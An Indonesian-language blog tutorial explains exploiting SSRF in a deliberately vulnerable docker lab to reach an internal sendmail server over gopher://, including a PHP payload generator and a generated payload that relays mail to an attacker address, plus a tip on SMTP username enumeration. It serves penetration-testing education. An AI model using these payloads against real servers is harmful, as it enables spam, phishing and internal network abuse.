Server-Side Request Forgery to Internal SMTP Access — Indonesia

Untuk mengetahui basic dari SSRF bisa membaca Beginner Guide To Exploit Server Side Request Forgery (SSRF) Vulnerability — Indonesia

SSRF bisa dimanfaatkan untuk berinteraksi dengan SMTP, sehingga attacker bisa mengirim email melalui server SMTP dari website yang vulnerable SSRF.

SSRF attack

Lab Setup

Email Server menggunakan sendmail dan dideploy menggunakan docker.

git clone https://github.com/rhamaa/Web-Hacking-Lab.git
cd Web-Hacking-Lab/SSRF_SMTP_LAB
docker build -t ssrf_smtp_lab .
docker run -d --rm -p 8022:80 ssrf_smtp_lab​
Halaman index lab
  • Port HTTP sengaja diforward ke 8022 karena memang di Host Server port 80 nya sudah ada service yang berjalan.

Lab tersebut hanya menggunakan setingan default sendmail, mungkin tidak akan bisa mengirim (Outgoing Mail) pesan ke provider-provider email tertentu seperti Gmail.

SMTP (Simple Mail Transfer Protocol) 101

SMTP berfungsi untuk mengirim email dari SMTP server pengirim ke SMTP server penerima email, secara default port SMTP adalah 25, selain itu SMTP mempunyai port lain yaitu 587 MSA (message submission agent), bedanya dengan port 25 adalah port 587 membutuhkan Autentikasi SMTP. Port 587 ini lebih sering digunakan karena tergolong lebih aman dibandingkan port 25.

Beberapa Command SMTP

SMTP Commands
Contoh penggunaan command SMTP

Trivia : Command RCPT TO, VRFY, dan EXPN dapat digunakan untuk melakukan Username Enumeration yang sangat berguna saat melakukan pentesting.

SMTP Hates HTTP

Seperti yang dikatakan Orange Tsai dalam presentasinya di Blackhat Asia 2019 — A New Era of SSRF — Exploiting URL Parser in Trending Programming Languages bahwa “SMTP Hates HTTP” karena memang HTTP tidak bisa melakukan smuggling ke SMTP.

Pada sendmail terdapat changelog yang mengatakan akan menolak apabila paketnya di awali dengan GET, POST, CONNECT, atau USER.

8.14.0/8.14.0   2007/01/31  
....
Try to deal with open HTTP proxies that are used to send spam
by recognizing some commands from them. If the first command
from the client is GET, POST, CONNECT, or USER, then the
connection is terminated immediately.

Sangat mustahil untuk melakukan smuggling HTTP ke SMTP, karena memang pasti akan ditolak, tetapi protokol Gopher dan HTTPS bisa melakukan smuggling ke protokol SMTP sehingga bisa menjadi solusi terhadap permasalahan tersebut.

HTTPS tidak mendukung multiline request seperti gopher, oleh karena itu dibutuhkan celah CRLF Injection apabila ingin melakukan querying SMTP melalui HTTPS.

Querying SMTP Melalui Gopher

Syntax Gopher untuk Querying SMTP seperti dibawah ini.

gopher://<Intranet_IP>:25/_<Command_SMTP>

Script di bawah ini bisa digunakan untuk meng-automasi pembuatan payload.

<?php
$commands = array(
'HELO target.0xff.web.id',
'MAIL FROM: <root@target.0xff.web.id>',
'RCPT TO: <attacker@email.com>',
'DATA',
'Subject: SSRF HERE',
'SSRF AND SMTP',
'.'
);
$payload = implode('%0A', $commands); // memisahkan tiap command dengan newlineecho 'gopher://127.0.0.1:25/_' . $payload;
?>

Tanda _ (underscore) setelah <port>:/ untuk mewakili gophertype, sehingga harus disertakan, karena apabila tidak disertakan karakter payload akan terpotong 1 karakter, misal payloadnya adalah HelloWorld, apabila tanda _ tidak disertakan payloadnya akan menjadi ElloWorld.

Percobaan Serangan

$ php payload.php
gopher://127.0.0.1:25/_HELO target.0xff.web.id%0AMAIL FROM: <root@target.0xff.web.id>%0ARCPT TO: <attacker@email.com>%0ADATA%0ASubject: SSRF HERE%0ASSRF AND SMTP%0A.

Masukan payload yang sudah di-generate ke web target.

Pesan setelah payload disubmit

Terdapat email dari server target masuk.

Email Masuk

Referensi

--

--

Application & Cloud Security | Software Developer | CEH

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Muh. Fani Akbar

Muh. Fani Akbar

Application & Cloud Security | Software Developer | CEH